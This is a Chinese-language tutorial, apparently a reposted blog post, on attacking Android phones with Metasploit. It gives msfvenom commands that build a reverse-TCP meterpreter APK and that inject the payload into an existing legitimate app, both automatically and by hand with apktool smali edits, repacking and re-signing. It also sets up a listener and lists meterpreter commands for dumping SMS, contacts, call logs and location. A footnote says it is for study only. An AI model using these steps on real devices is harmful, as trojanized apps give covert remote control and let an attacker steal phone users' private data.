msf攻擊android


msf攻擊android [1]

1.msf生成android apk文件

  msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk
-p android/meterpreter/reverse_top : 表示從android設備返回一個反向連接的meterpreter通道;
R:直接輸出(雖然android程序用java編寫,但是不能使用-f java的形式生成);
.apk:最終輸出為apk后綴的文件;


2.本地監聽

msfconsole
msfdb run
workspace test
use /exploit/multi/handler
options
set payload android/meterpreter/reverse_tcp
set lhost 192.168.110.45
set lport 4455
run


3.手機模擬器安裝apk文件,並啟動


4.android的meterpreter介紹[2]

常用android指令

? 查看android meterpreter指令
check_root 檢查設備是否為root
dump_calllog 獲取通話記錄
dump_contacts 獲取通訊錄
dump_sms 獲取短信
geolocate 獲取定位信息
send_sms 發送短信
wlan_geolocate 通過wlan信息獲取定位信息
app_install 安裝app
app_list 列出當前設備上安裝的app
app_run 通過包名啟動android應用
app_uninstall 卸載app


5.將msf payload注入已有的apk文件中

自動注入

msfvenom -x ./desktop/dark_mode.apk -p android/meterpreter/reverse_tcp lhost=<本機IP> lport=<端口> R -o msftest.apk
-x:將指定目錄下的指定apk文件作為模板文件
-p: 設置payload
-o: 輸出為apk文件

6.手工注入--將msf payload注入apk

apktool反編譯

apktool d -f -r -o /usr/local/testdir/decodef dark_Mode.apk

d:[decode]反編譯
-r: 避免resc的反編譯,這樣進行打包的時候就不會重新編譯resc文件包括xml
-o: 反編譯文件輸出到當前/usr/local/testdir/decodef目錄下

步驟
(1)反編譯要注入的apk文件--com.chenai.eyes_5.5.3_liqucn.com.apk
(2)反編譯msfvenom 生成的已注入payload的apk文件--msfand.apk
(3)將(2)中反編譯出來的AndroidManifest.xml文件中的 粘貼到(1)中的AndroidManifest.xml中(改變該apk應用的權限)
(4)拷貝payload:將(2)中反編譯的文件smali/com目錄下的文件拷貝到(1)中對應目錄下
(5)執行payload:在apk程序入口Activity的oncreate()方法,添加以下腳本:

invoke-static{p0},Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

可使用aapt查找apk包主程序入口,也可查看文件AndroidManifest.xml中的以下腳本的包名,其中com.chenai.eyen.act.MainDl即為主程序入口activity

 <activity android:configChanges="keyboardHidden|orientation" android:label="@string/ao" android:name="com.chenai.eyen.act.MainDl" android:theme="@style/e2">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>

(6)回編:

apktool b ./dark 
回編的文件在./dark/dist文件下

(7)生成簽名要用的keystore文件(若安裝了android studio則默認存在/root/android目錄下)
keystore用於保存密鑰對,比如公鑰和私鑰,用來在打包apl的時候對apk程序進行加密,也就是所謂的數字證書加密

keytool -genkey -v -keystore my-realease-key.keystore -alias alias -keyalg RSA -keysize 2048 -validity 10000
-alias :別名,每個keystore都關聯這一個獨一無二的alias,通常不區分大小寫
-keystore: 指定密鑰庫的名稱
-keyalg: 指定密鑰的算法
-validity:指定創建證書的有效期
-keysize:指定生成密鑰的長度
-v:顯示密鑰庫中的證書詳細信息

(8)jarsigner進行簽名

jarsigner -verbose -keystore ./my-realease-key.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA ./dark/dark_Mode.apk alias

進行簽名后的apk文件在dist目錄下,覆蓋掉原來的apk文件,進行簽名是為了保證完整性,在apk文件安裝時,系統會對其簽名信息進行比對,判斷程序的完整性,從而決定該apk文件是否可以安裝,在一定程度上達到安全


  1. 僅供學習,維護網絡安全;博主使用的是kali,腳本可根據自己本地環境修改 ↩︎

  2. 使用Android模擬器 ↩︎


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM